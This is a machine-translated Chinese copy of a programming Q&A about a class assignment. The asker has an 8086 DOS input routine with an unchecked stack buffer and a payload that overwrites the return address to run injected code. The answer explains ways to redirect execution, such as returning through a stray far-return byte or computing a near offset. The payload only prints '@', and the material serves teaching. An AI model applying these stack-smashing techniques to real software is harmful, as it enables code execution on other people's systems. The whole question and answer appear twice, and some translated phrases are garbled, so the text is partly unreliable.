(程序集 8086)我如何 return 从函数到不同的段?
(Assembly 8086) How can I return from a function to a different segment?
我接到了一个编写程序的任务。一个从用户那里获取输入,使用一个函数在堆栈上分配一个字符串,并写入它,一次一个字符,直到它得到一个 "Enter"。而另一个利用第一个漏洞的程序,通过堆栈溢出,改变函数的return地址,并将其指向恶意代码(我写入堆栈)。
我的问题是该函数没有return到我放入堆栈(在StackSegment 中)的地址,而只是转到CodeSegment 中的地址。
这是获取输入的函数:(printStr 函数从堆栈打印)
getStr PROC
push bp
mov bp, sp
add bp, 2
push ax
push dx
push di
push ds
sub sp, 10
mov di, sp
mov ah, 01
strToStack:
int 21h
cmp al, 0dh
je endLoop
mov byte ptr ss:[di], al
inc di
jmp strToStack
endLoop:
mov byte ptr ss:[di], '$'
lea dx, new_line
mov ah, 09
int 21h
push ss
pop ds
push sp
call printStr
add sp, 10
pop ds
pop di
pop dx
pop ax
pop bp
ret
endp
这是将恶意代码写入文本文件的程序,我将其用于第一个程序:
.model small
.stack 100
.code
main proc
push @data
pop ds
push ds
push cs
pop ds
lea dx, implant
mov ah, 09
int 21h
pop ds
exit:
mov ah, 4ch
int 21h
endp
implant:
blank db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address dd 0066h, 3182h
mov ah, 2
mov dl, '@'
loopy:
int 21h
jmp loopy
finish db 0dh,'$'
end main
如果不允许您修改代码,则在代码段的任何位置搜索 0CBh 或 0CAh 字节。这些是很远的 return 指令,但它们实际上并没有被代码用于该目的。您只需要找到一个具有这些值中的任何一个的字节。更改函数的近 return 地址(堆栈上的单个 16 位值),使其 returns 到该字节,然后在堆栈上放置恶意代码的偏移量和段。
请注意,0CAh 字节是 far return 的 RET imm16 形式,这会导致它从堆栈中弹出参数。如果您使用此字节,您可能需要重新调整堆栈。
如果您找不到 0CBh/0CAh 字节,那么如果您知道堆栈段离代码段不远,那么您还有另一种选择。您可以使用您的代码在堆栈上相对于代码段的偏移量作为 near return 地址。因此,如果堆栈段位于 3182h,代码段位于 3040h(随机选择一个数字),并且您的代码位于堆栈段中的偏移量 64h,那么您的代码位于代码中的偏移量 (3182h - 3040h) * 16 + 64h = 1484h
分割。在这种情况下,您可以将 return 地址替换为 1484h 而不是 3182h:0066h.
如果您无法使用这些选项,那么我想不出任何其他明显的解决方案。其他标准堆栈粉碎技术可能不适用。也许 return oriented programming,但您的目标可执行文件中可能没有标准库,并且可能没有很多代码可以借用卡盘。 (尽管后者意味着堆栈段应该远离代码段。)
我接到了一个编写程序的任务。一个从用户那里获取输入,使用一个函数在堆栈上分配一个字符串,并写入它,一次一个字符,直到它得到一个 "Enter"。而另一个利用第一个漏洞的程序,通过堆栈溢出,改变函数的return地址,并将其指向恶意代码(我写入堆栈)。
我的问题是该函数没有return到我放入堆栈(在StackSegment 中)的地址,而只是转到CodeSegment 中的地址。 这是获取输入的函数:(printStr 函数从堆栈打印)
getStr PROC
push bp
mov bp, sp
add bp, 2
push ax
push dx
push di
push ds
sub sp, 10
mov di, sp
mov ah, 01
strToStack:
int 21h
cmp al, 0dh
je endLoop
mov byte ptr ss:[di], al
inc di
jmp strToStack
endLoop:
mov byte ptr ss:[di], '$'
lea dx, new_line
mov ah, 09
int 21h
push ss
pop ds
push sp
call printStr
add sp, 10
pop ds
pop di
pop dx
pop ax
pop bp
ret
endp
这是将恶意代码写入文本文件的程序,我将其用于第一个程序:
.model small
.stack 100
.code
main proc
push @data
pop ds
push ds
push cs
pop ds
lea dx, implant
mov ah, 09
int 21h
pop ds
exit:
mov ah, 4ch
int 21h
endp
implant:
blank db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address dd 0066h, 3182h
mov ah, 2
mov dl, '@'
loopy:
int 21h
jmp loopy
finish db 0dh,'$'
end main
如果不允许您修改代码,则在代码段的任何位置搜索 0CBh 或 0CAh 字节。这些是很远的 return 指令,但它们实际上并没有被代码用于该目的。您只需要找到一个具有这些值中的任何一个的字节。更改函数的近 return 地址(堆栈上的单个 16 位值),使其 returns 到该字节,然后在堆栈上放置恶意代码的偏移量和段。
请注意,0CAh 字节是 far return 的 RET imm16 形式,这会导致它从堆栈中弹出参数。如果您使用此字节,您可能需要重新调整堆栈。
如果您找不到 0CBh/0CAh 字节,那么如果您知道堆栈段离代码段不远,那么您还有另一种选择。您可以使用您的代码在堆栈上相对于代码段的偏移量作为 near return 地址。因此,如果堆栈段位于 3182h,代码段位于 3040h(随机选择一个数字),并且您的代码位于堆栈段中的偏移量 64h,那么您的代码位于代码中的偏移量 (3182h - 3040h) * 16 + 64h = 1484h
分割。在这种情况下,您可以将 return 地址替换为 1484h 而不是 3182h:0066h.
如果您无法使用这些选项,那么我想不出任何其他明显的解决方案。其他标准堆栈粉碎技术可能不适用。也许 return oriented programming,但您的目标可执行文件中可能没有标准库,并且可能没有很多代码可以借用卡盘。 (尽管后者意味着堆栈段应该远离代码段。)